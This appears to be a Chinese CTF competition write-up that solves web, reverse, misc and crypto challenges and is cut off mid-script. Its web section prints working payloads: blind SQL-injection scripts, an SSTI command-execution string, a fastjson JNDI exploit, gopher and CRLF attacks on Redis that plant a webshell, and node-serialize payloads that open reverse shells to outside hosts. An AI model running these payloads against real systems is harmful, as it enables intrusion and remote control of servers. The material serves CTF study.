2022工大抗疫

前言

好几天都没发文章了,这几天去肝工大抗疫比赛去了,这比赛主要考了信息搜集能力,除Web以外我没觉得学到多少东西

太笨了,搜题我竟然只用google,以后记得把BingBaidu搜狗什么的都用上

我什么都没说,大家以后打比赛不要像我一样,还是钻研技术为主,大型比赛上还是要认真对待的,以下题解只有webreverse和部分杂项是自己思考过的,其他的一律为搜到的原题。

记录再一次AK web

部分webwp较为简略,之后会将知识点依次展开发博文!

image-20220116160455909

Web

web1

请求头加个client-ip进行伪造

image-20220114120339496

web2

ssrf发现flag.php,直接上payload

/index.php?url=http://127.0.0.1/flag.php?cmd=1;ls;

web3

源码:

<?php
error_reporting(0);
if(isset($_GET['shell'])){
    $shell = $_GET['shell'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $shell) && strlen($shell)<25){
        system($shell);
        // flag is in /flag.txt
    }    
}else{
    highlight_file(__FILE__);
}

一开始想用数组绕过,但是发现system那并不能执行,查阅资料发现linux有个/bin/base64可以用来输出,所以使用通配符

/???/????64 /????.??? ===> /bin/base64 /flag.txt

得到flag

web4

太坑了,有个index.phps看源码:

<?php

class Easy{
    public $key;
    public $you_key;
    function __wakeup() {
        $this->key="you_don't_thi3_kEy";
        if($this->key !== $this->you_key){
            die("no way");
        }
    }
    function getflag(){
        readfile("/flag");
    }
}

if(isset($_GET['s'])){
    $s=$_GET['s'];
    if(strpos($s,'key') !== false){
        die('no way');
    }else{
        unserialize($s)();
    }
}else{
    die('may be you need find the code.');
}
?>

发现第22行有猫腻,直接上pyload:

http://eci-2ze3pskpr9bspgkhu1ak.cloudeci1.ichunqiu.com/?s=s:13:"Easy::getflag";

web5

sql盲注,exp:

import requests, time


url = 'http://eci-2zeiqgw6ldv5j33w06dl.cloudeci1.ichunqiu.com/?id='
flag = ""

for i in range(1, 100):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "1' union selselectect 1,(if(ascii(substr(load_file('/flag'),{},1))>{},sleep(1),0))--+".format(i, mid)
        time1 = time.time()
        r = requests.get(url + payload)
        time2 = time.time()
        print(time2 - time1)
        if time2 - time1 > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    flag += chr(mid)
    print(flag)
    if mid == 32:
        print(flag)
        exit()

login

sql注入,经过测试过滤了select,经过查询知道考了mysql 8.0.19的新特性vulues可以替代select

pyload:

username='union+values+row(1,1,'c4ca4238a0b923820dcc509a6f75849b')%23&password=1&login=login

easy_fastjson

fastjson <= 1.2.47反序列化漏洞

https://www.freebuf.com/articles/web/283585.html

pyload:

payload={%20%20%20%20%20"a":{%20%20%20%20%20%20%20%20%20"@type":"java.lang.Class",%20%20%20%20%20%20%20%20%20"val":"com.sun.rowset.JdbcRowSetImpl"%20%20%20%20%20},%20%20%20%20%20"b":{%20%20%20%20%20%20%20%20%20"@type":"com.sun.rowset.JdbcRowSetImpl",%20%20%20%20%20%20%20%20%20"dataSourceName":"rmi://vpsip:1099/jdytbq",%20%20%20%20%20%20%20%20%20"autoCommit":true%20%20%20%20%20}%20}

https://github.com/welk1n/JNDI-Injection-Exploit

/bin/bash -i >& /dev/tcp/ip/port 0>&1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编 码的反弹shell}|{base64,-d}|{bash,-i}" -A "vpsip"

然后再服务器上监听端口,做法和log4j2的一样

image-20220114234224901

EasyEscape

很明显是个模板注入,但是一直不确定是什么,通过报错可知应该是js相关的模板,通过报错得知是nunjucks模板引擎

image-20220116150524975

被过滤了好多的字符,使用编码绕过

{{[]["cons"+"tructor"]["con"+"structor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u006c\\u0061\\u0067\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}

海量视频

先发现有sql注入,直接上盲注脚本

import requests
from time import time


url = "http://eci-2ze0cwaav487mf7p4jpy.cloudeci1.ichunqiu.com/"  # 注入位置
payload = "select group_concat(pwd) from user"   # 需要查询的内容


def lensqlblind():
    start = 1
    end = 100
    while True:
        mid = (start + end) // 2
        data = {
            'pwd': '1',
            'username': f''''/**/or/**/if(length(({payload}))>{mid},sleep(0.5),0)/**/#'''
        }
        t = time()
        r = requests.post(url, data=data)
        r.encoding = r.apparent_encoding
        if start >= end:
            return start
            break
        elif time() - t > 0.5:
            start = mid + 1
        else:
            end = mid - 1

# jw2fdkci2F2md2FFA4
def contentblind():
    flag = ''
    i = 18
    while i <= 18:
        for j in range(32, 127):
            print(j, end='')
            data = {
                'pwd': '1',
                'username': f''''/**/or/**/if(ascii(substr(({payload}),{i},1))={j},sleep(0.5),0)/**/#'''
            }
            t = time()
            r = requests.post(url, data=data)
            r.encoding = r.apparent_encoding
            if time() - t > 0.5:
                flag += chr(j)
                print()
                print(flag)
                i += 1
                break


lenth = lensqlblind()
print(lenth)
contentblind()

得到如下内容

database(): logintt
version: 8.0.23-3+b1
table: user
cloumns:pwd username
username:admin
pwd: jw2fdkci2F2md2FFA4

看页面源码发现可以下载源码:

index.php

<?php
error_reporting(E_ALL);

function waf($input){
    $check = preg_match('/into/i', $input);
    if ($check) {
        exit("hackkk!!!");
    }
    else {
        return $input;
    }
}
require_once 'vendor/autoload.php';
use Firebase\JWT\JWT;
$fff = fopen("./keysadmine2unao2ne2/rsa_private_key.pem",'rb');
$rsa_private_key = fread($fff,filesize("./keysadmine2unao2ne2/rsa_private_key.pem"));

$fff2 = fopen("./keysadmine2unao2ne2/rsa_public_key.pem","rb");
$rsa_public_key = fread($fff2,filesize("./keysadmine2unao2ne2/rsa_public_key.pem"));
$username = @$_POST['username'];
$password = @$_POST['pwd'];

$payload = array(
    "name" => $username,
    "pwd" => $password,
    "isadmin" => false,
);

$jwt = JWT::encode($payload,$rsa_private_key,"RS256");
setcookie("secretcookie",$jwt);
$decoded = JWT::decode($jwt, $rsa_public_key, array('RS256'));

$sqlconn = mysqli_connect("127.0.0.1","root","ubuntu","logintt",3306);
$sqlres = mysqli_query($sqlconn,"select *  from user where username = '" . waf($decoded->name) . "';");
if($decoded != ""){
    if($decoded->name === "admin" && $decoded->pwd === mysqli_fetch_all($sqlres)[0][1] && $decoded->isadmin === true){
        header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['REQUEST_URI']).'/adminfdsa.php');
        exit;
    }
}


error_reporting(E_ALL);
$file_name = @$_GET['downfile'];

if($file_name != "") {
    $file = fopen ( $file_name, "rb" );
    Header ( "Content-type: application/octet-stream" );
    Header ( "Accept-Ranges: bytes" );
    Header ( "Accept-Length: " . filesize (  $file_name ) );
    Header ( "Content-Disposition: attachment; filename=" . $file_name );
    echo fread ( $file, filesize ( $file_name ) );
    fclose ( $file );
}

?>

adminfdsa.php

<?php
error_reporting(E_ALL);
require_once 'vendor/autoload.php';
use Firebase\JWT\JWT;

function waf($input){
    $check = preg_match('/into/i', $input);
    if ($check) {
        exit("hackkk!!!");
    }
    else {
        return $input;
    }
}


$cook = $_COOKIE['secretcookie'];
$fff2 = fopen("./keysadmine2unao2ne2/rsa_public_key.pem","rb");
$rsa_public_key = fread($fff2,filesize("./keysadmine2unao2ne2/rsa_public_key.pem"));
$decoded = JWT::decode($cook, $rsa_public_key, array('RS256'));

$sqlconn = mysqli_connect("127.0.0.1","root","ubuntu","logintt",3306);
$sqlres = mysqli_query($sqlconn,"select *  from user where username = '" . waf($decoded->name) . "';");


if($decoded->name === "admin" && $decoded->pwd === mysqli_fetch_all($sqlres)[0][1] && $decoded->isadmin === true){
    echo "登录成功<br />";
    echo "输入x站视频链接";
    $urla = @$_POST['urll'];
    var_dump($urla);
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$urla");
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $result = curl_exec($ch);
    echo $result;
}else{
    exit("登录失败");
}


?>

通过composer.json去下载php-jwt

{
    "require": {
        "firebase/php-jwt": "^5.4"
    }
}

然后伪造JWT

<?php
require_once 'vendor/autoload.php';
use Firebase\JWT\JWT;


$fff = fopen("./rsa_private_key.pem",'rb');
$rsa_private_key = fread($fff,filesize("./rsa_private_key.pem"));

$payload = array(
    "name" => "admin",
    "pwd" => "jw2fdkci2F2md2FFA4",
    "isadmin" => true
);

$jwt = JWT::encode($payload,$rsa_private_key,"RS256");

echo $jwt;

将伪造的JWT带入cookie,通过源码发现是ssrf

我们用dict://127.0.0.1:6379/info有回显猜测是攻击redis服务

通过学习学习大佬文章https://www.cnblogs.com/CoLo/p/14214208.html#dict%E6%89%93redis%E4%B9%8B%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%8F%8D%E5%BC%B9shell

得到如下poc

POST /adminfdsa.php HTTP/1.1
Host: eci-2ze1odj66lcwfeyts2hd.cloudeci1.ichunqiu.com
Content-Length: 985
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze0cwaav487mf7p4jpy.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze0cwaav487mf7p4jpy.cloudeci1.ichunqiu.com/adminfdsa.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: secretcookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJwd2QiOiJqdzJmZGtjaTJGMm1kMkZGQTQiLCJpc2FkbWluIjp0cnVlfQ.YGkZWFa4izQEw8xoDXNM6XwfBbLNrtlhpROqegZTKYQrIAvyo4vZmdVzsbiZ2iqcNjAocDelUrqciJp0AWat7wq61F3dwXLahd0qWG2PyIQ2IP3l2eAyWrbYkBiqIH1RYgkxqufEcGR8QYRkIxPK06G_VjcUISmObpg9wTS53_E; __jsluid_h=dc7eb06b6dbe4278a2d3e5919e8a9e1d
Connection: close

urll=gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2537%250d%250a%2563%256d%2564%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2538%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%250d%250a%2524%2532%2534%250d%250a%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2561%255d%2529%253b%253f%253e%250d%250a%2573%2561%2576%2565%250d%250a

使用以下工具构造的gopher攻击redis的数据

工具:https://github.com/firebroo/sec_tools/tree/master/

打过poc后在目录下写入了cmd.php的马,拿蚁剑连接一下,发现需要提权,这里弄了半天,结果把蚁剑的插件更新了一下就可以了,然后运行根目录下的/readflag即可获得flag

image-20220115064835490

GrandTravel

import requests, time

url = "http://eci-2zeiqgw6ldv5kgfntkik.cloudeci1.ichunqiu.com:8888/login"

username = ""
for pos in range(0, 100):
    for mid in range(35, 128):
        ti = time.time()
        burp0_data = {
            "username":
            f"admin\"&&this[\"pass\"+\"word\"][{pos}]<\"{chr(mid)}\"&&sleep(1000)||this[\"user\"+\"name\"]==\"admin",
            "password": "admin",
            "login": "login"
        }
        requests.post(url, data=burp0_data)
        tim = time.time()
        # burp0_data = {"username": f"admin\"&&this[\"pass\"+\"word\"][{pos}]>\"{chr(mid)}\"&&sleep(1000)||this[\"user\"+\"name\"]==\"admin", "password": "admin", "login": "login"}
        if (tim - ti > 1):
            print(burp0_data["username"])
            username += chr(mid - 1)
            print(username)
            break
# Adm1n_P0ssw0rd_a1w6346daw94d
# 124.89.2.70

注入后得到密码Adm1n_P0ssw0rd_a1w6346daw94d

首页ip124.89.2.70

users.js文件中我们可以看到如下

image-20220116020726030

存在node-serialize反序列化RCE漏洞(CVE-2017-5941)https://threezh1.com/2020/01/30/NodeJsVulns/#node-serialize反序列化RCE漏洞-CVE-2017-5941

我们来构造payload:

serialize = require('node-serialize');
var test = {
 rce : function(){require('child_process').exec('echo 反弹shell的base64编码|base64 -d|bash -i',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

生成后记得在后面加上括号,然后我们需要把这个反序列化字符串经过base64编码后写入,这里需要用到ssrf攻击redis

这里是我生成的

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA+JjE=|base64 -d|bash -i',function(error, stdout, stderr){console.log(stdout)});}()"}

查看源码admin.js中可知/admin/download可以实现ssrf攻击redis,但是限制了只能使用http(s)协议,这里用到了CRLF进行攻击,这里不同的是nodejs为了防止CRLF不能使用传统的%0D%0A

image-20220116020226135

然后构造payload

*2
$4
AUTH
$31
Red1S_P0ssw0rd_a456wd4654aw54wd
*1
$7
COMMAND
*3
$3
set
$37
admin9c96b0e1f2f329d1f0de426574e584da
$276
payload

上面的admin9c96b0e1f2f329d1f0de426574e584da是由admin + md5(ip)组成,源码中有提到

根据上一道题攻击redis的内容我们可以构造如下:

http://0:6379/%C4%8DHTTP/1.1%C4%8D%C4%8A*2%C4%8D%C4%8A$4%C4%8D%C4%8AAUTH%C4%8D%C4%8A$31%C4%8D%C4%8ARed1S_P0ssw0rd_a456wd4654aw54wd%C4%8D%C4%8A*1%C4%8D%C4%8A$7%C4%8D%C4%8ACOMMAND%C4%8D%C4%8A*3%C4%8D%C4%8A$3%C4%8D%C4%8Aset%C4%8D%C4%8A$37%C4%8D%C4%8Aadmin9c96b0e1f2f329d1f0de426574e584da%C4%8D%C4%8A$276%C4%8D%C4%8AeyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnZWNobyBZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TWk0eE5UY3VNVGMwTGpJeU5pODVPVGs1SURBK0pqRT18YmFzZTY0IC1kfGJhc2ggLWknLGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycil7Y29uc29sZS5sb2coc3Rkb3V0KX0pO30oKSJ9%C4%8D%C4%8A

这里需要注意的一点是:如果base64中有+号,我们需要进行url编码

攻击后我们重新访问users/contact页面即可反弹shell

然后根目录有flag,但是需要提权

image-20220116021706068

存在ftp,通过ftp服务进行读取文件,使用以下的项目在/tmp运行nodejs ftp服务

nodejs ftp项目地址:https://github.com/mailsvb/jsftpd

echo -e "const { ftpd } = require('jsftpd')\nconst server = new ftpd({cnf: {username: 'ggbond', password: 'ggbond', basefolder: '/tmp', port: 4444}})\nserver.start()">exp.js
npm i jsftpd
node exp.js

image-20220116015636153

在反弹一个shell,在/tmp进行连接,然后put就好

image-20220116015706388

这里不能直接使用靶机连接vpsftp服务,因为处在内网,使用被动模式的ftp连接无法下载文件。

Reverse

Lihua's for

源码比较简单,就是个异或,找到字符串进行反异或

image-20220114143102803

exp:

a = "fmcd\x7Fd26jl>=9 o: w?'%'\x22:z.xz1/))\x16@DE\x12GGA\x1AT"
for i in range(len(a)):
    print(chr(i ^ ord(a[i])), end='')

ez_py

直接进行反编译没有成功,查看文件结构,通过学习结构进行修改

https://www.cnblogs.com/blili/p/11799483.html

r

然后就可以找个在线网站直接反编译,或者使用https://github.com/aliansi/Easy-Python-Decompiler-v1.3.2

image-20220115000607198

得源码,直接上exp

tmp = [
    100, 5, 87, 2, 86, 0, 3, 84, 80, 2, 87, 80, 80, 86, 85, 2, 85, 87, 7, 0,
    87, 4, 3, 3, 5, 84, 84, 11, 81, 5, 6, 13
]


def decode(enc, length):
    if length == 32:
        return 0
    else:
        for i in range(length):
            enc[i + length] ^= enc[i]
        return decode(enc, length << 1)


decode(tmp, 1)
flag = ''
for i in tmp:
    flag += chr(i)
print('flag{' + flag + '}')

Misc

签到

flag{study_hard_and_make_progress_every_day}

qrcode

一共16张图片,4*4直接手动拼图

image-20220114133931814

flag{b9f32f7f-f30c-408f-b0bd-64c03a60e915}

你悟了吗

exp:

def toBaGua(strArr):
    code = {
        '乾': '0',  # 乾
        '兑': '1',  # 兑
        '离': '2',  # 离
        '震': '3',  # 震
        '巽': '4',  # 巽
        '坎': '5',  # 坎
        '艮': '6',  # 艮
        '坤': '7',  # 坤
    }
    returnStr = ''  # 返回八卦符

    for b in strArr:
        returnStr += str(int(code[b], 8))

    return returnStr


string = "震兑巽艮艮兑巽兑震兑艮坤坎坎巽兑震乾离震震坎巽震震兑离震巽兑巽艮兑坎艮离艮巽坤兑震乾艮震离巽坤乾兑震离震离乾艮艮兑坎乾震巽巽坎坎震乾离震震巽艮震兑坎乾离艮巽艮离兑坎巽震乾兑巽离兑巽艮艮兑兑巽巽震乾艮震兑巽艮坎震乾艮震震坎坤坎"
flag_int = toBaGua(string)
print(flag_int)

输出的数字进行十六进制解密就好

BrokenPassword

压缩包解密,没想到用工具直接就字典爆破了出来

image-20220115000918577

miao

kali上使用steghide查看隐藏信息,发现有flag

image-20220115001541998

直接就读了出来

i_am_scriptkids

很大的一个base加密字符串,进行解密

import base64

base = open('./base/base.txt', 'rb').read()

file = open('./base/1', 'wb+')
tmp = base64.b32decode(base)

file.write(tmp)

手动修改,解了有30次好像,分别都有base16base32base64base85

flag{90672c52-200d-11ec-bdc8-33c511816e47}

Crypto

simpleCrypto

维基尼亚解密: https://www.guballa.de/vigenere-solver

得到密码为:zheshimima,解压就是flag

Crypto1

from Crypto.Util.number import *
import gmpy2, sympy

n = 96722669749951212913756678234358651184134068407812470434435916603156818917545841439779031943800634250032106764154804309935557678512858630048212204696471487762160744924838010746445510979202735123140536599975731157563069594497905809587369126155476201977830809090473053692189364335223367147692962090288185113654598050169422517553085833257142179937154768657039042632343562454149914801329414293361879935460883633117988279426277638667508115319494914342600199690237441851088350726869553691992122821267990343643644523989413546160765907845604067031798179773495433134648132709349683621175243064236059479837244518879574919017301667066698329442453248971033564328161407342561250703168154214939772631586519304164853651
c1 = 66738113223447221430009739914948303261002811553064307532926788024694319846909340806982708347904688420671656410554852340732395818007063648478593071665936277836988050526188064146099581039172667768507259894363266310279948729552649788129953872816024709989260060633285022337107662251504618369065597018450927041881262189584381809106166042131798086882746986243210896131714227544235843922107304728228549916171484199199612243776469423359120753888158616202476325705252715374109256790899923317253605743212561589807498078080069511918514647943399566630574192829185904868376879831247378819590121286186417825591746918495311372015707767009078229770450338244309693800180936418605756818618708750868807720566288044943952844
c2 = 88330949146651042517337653740810385187361689012501792799900873279978736035790659211001047937337215121948527017022967642906632732136313750277237761910710915459733551421653259986088596828049455592613225962133163865584111828012197112528645520371075411167515961263199635568730334149461654340122507778194391601956023625429418297129608911450200836427221311442323768087256798964844787274408624548839536279704401007441198390922847003287643673183230633728790263593607595427088882078742699027563601046309308221108391158848644822374865676056755011459026909057983805069264236657111115914570543103494726584296335044897998794251877515750910330960179539465060133592380802344398038815679281272098815068185059127533110716
e1 = 49
e2 = 35
e1 = e1 // 7
e2 = e2 // 7
# 共模
gcd = gmpy2.gcdext(e1, e2)
s, t = gcd[1], gcd[2]
m = (pow(c1, s, n) * pow(c2, t, n)) % n

k = 0

while True:
    pd = m + k * n
    if gmpy2.iroot(pd, 7)[1]:
        m = gmpy2.iroot(pd, 7)[0]
        print(long_to_bytes(m))
        break
    k += 1

Crypto2

from Crypto.Util.number import *
import gmpy2, sympy

n1 = 20663949646446787716947370247427064802032290773674573417491154934657966734874241036307633567695175131014840617208051931753476223149652427133485160771068994073566431652969243962290116898345337189704974833817335135391974497754670322430159624252007005736522065638860351992074099453212550475552692645688800084354832716662142860413158369020005830095049988807931794736876563293916525328174812726514626029103506607813186690909585870115364600969148482617083817273910020722354923244093624032174432568413187131385994452769295894606345768596899824635672699945050103814681553981019917552667794514804359500108947102234376726009329
n2 = 23260834024376640092536888922041147168387702014814910549469730354688848760379274203088716649609675449936234732528778557041701524981200368996310064584479657042098426164366286670115392015865853892816983885530312074073396422301009513106258655315791720535737587913264728919869055970993613641008348186263870234072422880033882864603438907070864271470483691729705421547143623305055532339107777314310976947392833395180922324243244784018964736826235018388498516438612962123562977736924674510730898077787055367234786519915374446506561992135856904927351307275140543635152771670410211235702283822782412971646092584646758107766061
c1 = 20522772249591436865905796103232542494211695376973377722875606678999899690405480809231671346489821878050354380591999935960795888483664473952207298504196203830543208477229162177648586683957831016664569242538775928728009699300145355818417233892295367828930893733774091897666206696635744262884229680137381841581000794056156842812583057103472764486608022028638288161256424936523444974815727764620634174112474612238992061186937613171878635903455700636894570504376153482600057655480654731180740098435209814585459376319844315388048636156465832997913885636776523217188604040216732137108997444787157007665652718553013424347649
c2 = 18715009944766815149492560645051626329204114049927707292306481018724323433701970253541495090244787378826569549885480491764057526828531429033378143426272248940256432423939977805246742287886281853484696625486522535042794403288199393432900065504766428665320682811338887618389589263597065738414638013423594446322359052784842619755053094028050245325637698678444632860097510081832077842610716042473697478416213915805481704537884611126069907812621750817901278803326304784057145916721693930579344441283586458621033705530309835431139751025999089707480829034535026967779441379062426254038310930863215188888662357133997908688736
e = 65537

p1 = p2 = 164191231045422009074679930433073849686608596460797940497084950906692563939261895269401690836512154669515255321804498701003730937677434175304628078067019456817509909926385910687416167113488565839415507069711043038798586300266539865754500210993744814031474822524861888158435667202218855321354190565150175051579
q1 = n1 // p1
q2 = n2 // p2

d1 = gmpy2.invert(e, (p1 - 1) * (q1 - 1))
d2 = gmpy2.invert(e, (p2 - 1) * (q2 - 1))

m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

print(long_to_bytes(m1) + long_to_bytes(m2))

ezRSA

from Crypto.Util.number import *

e = 65537
c = 11223534598141520071392544441952727165225232358333005778273904279807651365082135278999006409297342081157139972503703772556228315654837441044781410960887536342197257046095815516053582104516752168718754752274252871063410625756822861003235434929734796245933907621657696650609132419469456238860601166224944487116
n = 99499509473364452726944770421623721217675378717234178828554602484867641740497277374806036356486848621495917213623425604565104435195783450029879177770305417469850119739921527698744700219067563802483159458398895082044997907953256062342593605652927874232404778144112740505724215742062859322375891810785229735653
M = 28858066896535909755146975040720031655813099454455588895434479778600245612915775220883088811806723015938061791264869678085304248608125313205719043320256733514389739252845381708094678596099621503299764646358765107958130065721737938646850422959290465490270263553423913213684958592738500488797707239673645370968467090153285601432966586133693641854092761919184904521240074718850103356119966387029699913571443658384564840234765103070736676067458391659605655580766436276719610283460962533141261830775028138998594269732067550977245136631815804641115446066102981044849495663224005844657686979516481904043008222498344271373989609634617315702887646444506965035406154183377067490922195507071571055579654138590566650703038341939225657159668601565182939447340585110418258653618384852356058444795156595720943362884361136229430356254095673818462046182310826133487611183265532844700265640889105864909560170846171486510513240630480729194415061752698286990999064594811803482429976978688266632277914610443963726561921790718480343488391563503774868490108659902216386976683532579945706490286814310031310144410303859633785939399012605326754445715302492704458881700872467560968264583996658711892595658439058034434031646411995511168849724976850557976639662545139917517675296224197763447929417263845949813741362574641118781293171167041592771305352186419565096347024619027397784780864922205105185970180629777320680707022011697404359388540366320053501502698747763307336114482530784826238326983596966436776918503653153420281803168537703048371580451
h = 24302462761412867722556483860201357169283131384498485449193507018526006760633350601593235386242712333885826513399701577522498685938541691414316724804357523659514319083860507720945068584985970098437482386854188516742033184163273293005356970701527614010961471490166306765208284126815267752826036846338185010168551115391901008731195800723630612524215610302192763771954146943262822909368086155537366851998954401585888789660061750804720858175620022924944428882337005545535959410243692854073069775794945154943244522898330286785483043492678802461244624116832548150221211726044545331789932659966539042635768789637635754297830131948383991027466194455817875377950516103513735000718642093769229006510961952865719649517629939801014585849419818774317178973918720330390674833583065434312010539617630210110724391629534996688713945139529416075521015600392479980677759342058040778532467875961508475990300178277703011765698425360329342396347848373844031930655143343217447877587074485794273364964346235973542157189093330870952677683308479410235841331914353677363106473914986073397716367455628483060709281215783434084559550690248426391913205234184130354155776334292729262232484610747771114078013979494659835579574006801652858265173309736540235377076956677464263798132149783780830729103485354096234062135454873557941791812722418582207577124971978987895472250326100927372068822672582017222521124179752698654114839303426099426224351872025466618402675104161895600513776962289703455252021742990686505176582638132300246212598903123706906104217087
L = matrix([[1, h], [0, M]])
x = L.LLL()[0]
p = abs(x[1]) + 297498275426
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
print(long_to_bytes(pow(c, d, n)))

ezrsa

yafu发现可以分解n

image-20220115003112934

exp:

import gmpy2
import libnum
import math

p = 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674853
q = 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674527
n = 60451215053202473004940952621742735161658776366659855277231745089406139921920247699935855664424690715827311751776376765039253720695107034417349327247413785321282310515940197744035889015386751355695663945883766755254889478550954910913617031495509031272479126330010210073745554866695555903062215643355046569531
e = 65537
c1 = 5860001067333912869348276317959806331354930830756907188134520598132033029685961651079042255479216212218840727162091566460728252274773922656346335208185716
c2 = 233846791877558838234653540832234409293133184826445436186569970711741339843931083266127545694840179770763904903248540633847534630328748650704882388519907


# 中国剩余定理计算c
def merge(a1, n1, a2, n2):
    d = math.gcd(n1, n2)
    c = a2 - a1
    if c % d != 0:
        return 0
    c = (c % n2 + n2) % n2
    c = c // d
    n1 = n1 // d
    n2 = n2 // d
    c *= gmpy2.invert(n1, n2)
    c %= n2
    c *= n1 * d
    c += a1
    global n3
    global a3
    n3 = n1 * n2 * d
    a3 = (c % n3 + n3) % n3
    return 1


def CRT(a, n):
    a1 = a[0]
    n1 = n[0]
    le = len(a)
    for i in range(1, le):
        a2 = a[i]
        n2 = n[i]
        if not merge(a1, n1, a2, n2):
            return -1
        a1 = a3
        n1 = n3
    global mod
    mod = n1
    return (a1 % n1 + n1) % n1


n11 = [p, q]
c11 = [c1, c2]
c = CRT(c11, n11)

phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

RomeoAndJuliet

DES6轮差分攻击

https://blog.soreatu.com/posts/case-study-differetial-cryptanalysis-attack/

测一下差分特征:

from binascii import hexlify, unhexlify
from Crypto.Util.number import bytes_to_long, long_to_bytes, getRandomNBitInteger
from collections import Counter
import random

s_box = [
    [12, 1, 1, 0, 13, 2, 14, 7, 11, 10, 12, 0, 1, 12, 3, 1, 9, 1, 11, 2, 1, 15, 3, 9, 10, 5, 9, 0, 3, 15, 2, 4, 0, 1, 1,
     4, 1, 0, 0, 6, 0, 5, 0, 1, 2, 1, 1, 14, 2, 5, 14, 9, 2, 10, 4, 0, 1, 1, 7, 0, 0, 0, 0, 0],
    [1, 11, 2, 8, 11, 5, 1, 8, 0, 0, 2, 4, 13, 0, 11, 1, 0, 11, 2, 1, 0, 10, 14, 9, 14, 0, 9, 13, 3, 0, 4, 13, 7, 15, 0,
     15, 3, 8, 0, 9, 14, 14, 0, 1, 1, 15, 0, 3, 0, 6, 2, 2, 0, 6, 2, 12, 1, 5, 1, 4, 0, 4, 1, 10],
    [4, 2, 0, 12, 14, 1, 12, 15, 4, 1, 2, 0, 3, 5, 6, 1, 9, 13, 10, 12, 8, 1, 5, 0, 0, 8, 4, 11, 2, 1, 4, 7, 11, 1, 0,
     10, 0, 1, 9, 14, 1, 7, 3, 14, 5, 0, 0, 0, 10, 0, 1, 5, 1, 1, 0, 15, 3, 8, 0, 3, 2, 15, 13, 9],
    [8, 15, 9, 2, 10, 6, 8, 11, 0, 0, 1, 5, 1, 1, 9, 1, 1, 5, 3, 1, 2, 12, 14, 0, 2, 15, 4, 7, 11, 1, 8, 1, 6, 0, 0, 2,
     0, 14, 1, 0, 11, 13, 0, 1, 14, 0, 1, 13, 5, 7, 6, 12, 6, 3, 5, 1, 1, 0, 3, 0, 9, 2, 0, 9],
    [0, 1, 1, 13, 7, 12, 0, 12, 8, 14, 15, 1, 2, 2, 0, 4, 6, 2, 5, 1, 11, 1, 1, 1, 9, 12, 1, 3, 2, 15, 15, 0, 14, 2, 9,
     2, 0, 1, 0, 1, 0, 10, 15, 14, 13, 11, 0, 2, 0, 0, 1, 1, 6, 11, 8, 5, 4, 10, 0, 9, 0, 3, 10, 9],
